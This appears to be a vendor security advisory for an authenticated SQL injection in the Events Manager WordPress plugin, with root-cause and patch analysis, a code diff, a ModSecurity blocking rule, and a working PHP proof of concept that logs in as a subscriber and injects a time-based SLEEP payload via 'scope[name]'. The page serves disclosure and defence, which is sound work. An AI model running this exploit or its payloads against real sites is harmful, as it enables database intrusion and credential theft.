Published : December 4, 2026

CVE-2026-96610: Events Manager <= 7.4.6 Authenticated (Subscriber+) SQL Injection via 'scope[name]' Parameter PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.5)
CWE 89
Vulnerable Version 7.4.6
Patched Version 7.4.7
Disclosed December 3, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-96610: The Events Manager WordPress plugin, versions up to and including 7.4.6, contains an authenticated SQL injection vulnerability in the ‘scope[name]’ parameter. This flaw allows users with subscriber-level access or higher to inject arbitrary SQL into queries executed via the /wp-json/events-manager/v1/events and /wp-json/events-manager/v1/bookings REST API endpoints. The vulnerability has a CVSS score of 6.5 (Medium) and is classified as CWE-89 (SQL Injection). Atomic Edge research confirms the issue stems from insufficient input validation and a lack of prepared statements in the date scope handling logic.

Root Cause: The vulnerability resides in the EM_Object class within events-manager/classes/em-object.php. When parsing the ‘scope’ parameter, the plugin checks if scope is an array and, if so, assigns its elements to $date_start and $date_end. These values are then concatenated directly into SQL CAST() clauses without proper escaping or parameterization. The patch addresses this by adding checks to ensure ‘scope[name]’ is not an array and by validating date strings against a regular expression before use. Specifically, the condition at line 221 now includes ‘!is_array($defaults[‘scope’][‘name’])’, and the assignment at lines 435-436 wraps the date values in a preg_match check for the pattern ‘^[0-9]{4}-[0-9]{1,2}-[0-9]{1,2}$’. Without these checks, an attacker can supply a ‘scope[name]’ parameter that bypasses array handling and injects malicious SQL via the date fields.

Exploitation: An authenticated attacker with at least subscriber-level access can exploit this vulnerability by sending a crafted request to either REST API route. For example, a POST request to /wp-json/events-manager/v1/events with a parameter like ‘scope[name][0]=2025-01-01’ AND (SELECT SLEEP(5))– -‘ and ‘scope[name][1]=2025-12-31’ would cause the injected SQL to execute. The ‘scope[name]’ parameter is passed as an array, where the first element is used as the start date and the second as the end date. Because the plugin does not sanitize these values before embedding them in SQL queries, the attacker can append arbitrary SQL commands, enabling time-based or error-based injection to extract sensitive data from the WordPress database, such as user credentials or configuration secrets.

Patch Analysis: The patch in version 7.4.7 introduces two key changes. First, in em-object.php line 221, the condition now verifies that ‘scope[name]’ is not an array, preventing attackers from supplying an array structure that bypasses the string-to-date conversion. Second, in lines 435-436, the date values from the scope array are validated against a strict date format regular expression. Only values matching YYYY-MM-DD (with variable digit months/days) are allowed; otherwise, they are set to empty strings. This ensures that any malicious input fails validation and does not reach the SQL query. The version constants in events-manager.php are also updated to reflect the patched version. The fix effectively neutralizes the injection vector by enforcing type and format constraints on the date inputs.

Impact: Successful exploitation allows an authenticated attacker to execute arbitrary SQL queries against the WordPress database. This can lead to the disclosure of sensitive information, including user data, password hashes, and potentially other secrets stored in the database. Although the vulnerability requires authentication, subscriber-level accounts are often easily obtained on sites with open registration, making this a significant risk. The attacker could also modify or delete data, escalate privileges by manipulating user roles, or perform denial-of-service attacks via heavy queries. Atomic Edge assessment deems this a medium-severity issue due to the authentication requirement but high potential impact on data confidentiality and integrity.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/events-manager/classes/em-object.php
+++ b/events-manager/classes/em-object.php
@@ -221,7 +221,7 @@
 				$defaults['scope'][1] = '';
 			}
 			if( empty($defaults['scope'][0]) && empty($defaults['scope'][1]) ){
-				if( !empty($defaults['scope']['name']) ) {
+				if( !empty($defaults['scope']['name']) && !is_array($defaults['scope']['name']) ) {
 					$defaults['scope'] = $defaults['scope']['name'];
 				}else{
 					$defaults['scope'] = $super_defaults['scope'];
@@ -435,9 +435,9 @@
 				$date_start = EM_DateTime::create( $scope[0], $timezone_scope )->getDate('UTC');
 				$date_end = EM_DateTime::create( $scope[0], $timezone_scope )->getDate('UTC');
 			} else {
-				//This is an array, let's split it up
-				$date_start = $scope[0];
-				$date_end = $scope[1];
+				//This is an array, let's split it up. Only validated dates may reach the CAST() clauses below, since they are concatenated into the query rather than prepared.
+				$date_start = ( !empty($scope[0]) && preg_match("/^[0-9]{4}-[0-9]{1,2}-[0-9]{1,2}$/", $scope[0]) ) ? $scope[0] : '';
+				$date_end = ( !empty($scope[1]) && preg_match("/^[0-9]{4}-[0-9]{1,2}-[0-9]{1,2}$/", $scope[1]) ) ? $scope[1] : '';
 			}
 			if( !empty($date_start) && empty($date_end) ){
 				//do a from till infinity
--- a/events-manager/events-manager.php
+++ b/events-manager/events-manager.php
@@ -1,7 +1,7 @@
 <?php
 /*
 Plugin Name: Events Manager
-Version: 7.4.6
+Version: 7.4.7
 Plugin URI: https://wp-events-plugin.com
 Description: Event registration and booking management for WordPress. Recurring events, locations, webinars, google maps, rss, ical, booking registration and more!
 Author: Pixelite
@@ -30,7 +30,7 @@
 // Setting constants
 use EMArchetypes;

-define('EM_VERSION', '7.4.6'); //self expanatory, although version currently may not correspond directly with published version number. until 6.0 we're stuck updating 5.999.x
+define('EM_VERSION', '7.4.7'); //self expanatory, although version currently may not correspond directly with published version number. until 6.0 we're stuck updating 5.999.x
 define('EM_PRO_MIN_VERSION', '3.9'); //self expanatory
 define('EM_PRO_MIN_VERSION_CRITICAL', '3.6.0.2'); //self expanatory
 define('EM_FILE', __FILE__); //an absolute path to this directory

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-96610
SecRule REQUEST_URI "@rx ^/wp-json/events-manager/v1/(events|bookings)" 
  "id:20269661,phase:2,deny,status:403,chain,msg:'CVE-2026-96610 SQL Injection via scope[name] in Events Manager REST API',severity:'CRITICAL',tag:'CVE-2026-96610'"
  SecRule ARGS_POST:scope.name "@rx (?i)(sleep|benchmark|union|select|insert|update|delete|drop|--|/*|;)" 
    "t:urlDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-96610 - Events Manager <= 7.4.6 - Authenticated (Subscriber+) SQL Injection via 'scope[name]' Parameter

// Configuration
$target_url = 'http://example.com'; // WordPress site URL
$username = 'subscriber'; // Subscriber-level username
$password = 'password'; // Subscriber-level password

// Step 1: Authenticate to obtain cookies and nonce (if needed)
$cookie_jar = tempnam(sys_get_temp_dir(), 'cookies');

// Initial login request to wp-login.php
$login_url = $target_url . '/wp-login.php';
$post_fields = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_jar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_jar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);
curl_close($ch);

// Step 2: Craft the SQL injection payload
// The payload uses a time-based injection to demonstrate successful execution.
// It exploits the 'scope[name][0]' parameter, which is concatenated into a CAST() clause.
$payload_start = "2025-01-01' AND (SELECT SLEEP(5))-- -";
$payload_end = "2025-12-31";

// Step 3: Send the malicious request to the vulnerable REST API endpoint
$rest_url = $target_url . '/wp-json/events-manager/v1/events';
$post_data = array(
    'scope' => array(
        'name' => array(
            $payload_start,
            $payload_end
        )
    )
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_jar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);

$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Step 4: Check if the delay occurred, indicating successful injection
$elapsed = $end_time - $start_time;
if ($elapsed >= 5) {
    echo "SQL injection successful! Response time: " . round($elapsed, 2) . " seconds.n";
} else {
    echo "Injection may have failed. Response time: " . round($elapsed, 2) . " seconds. HTTP code: $http_coden";
}

// Clean up
unlink($cookie_jar);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.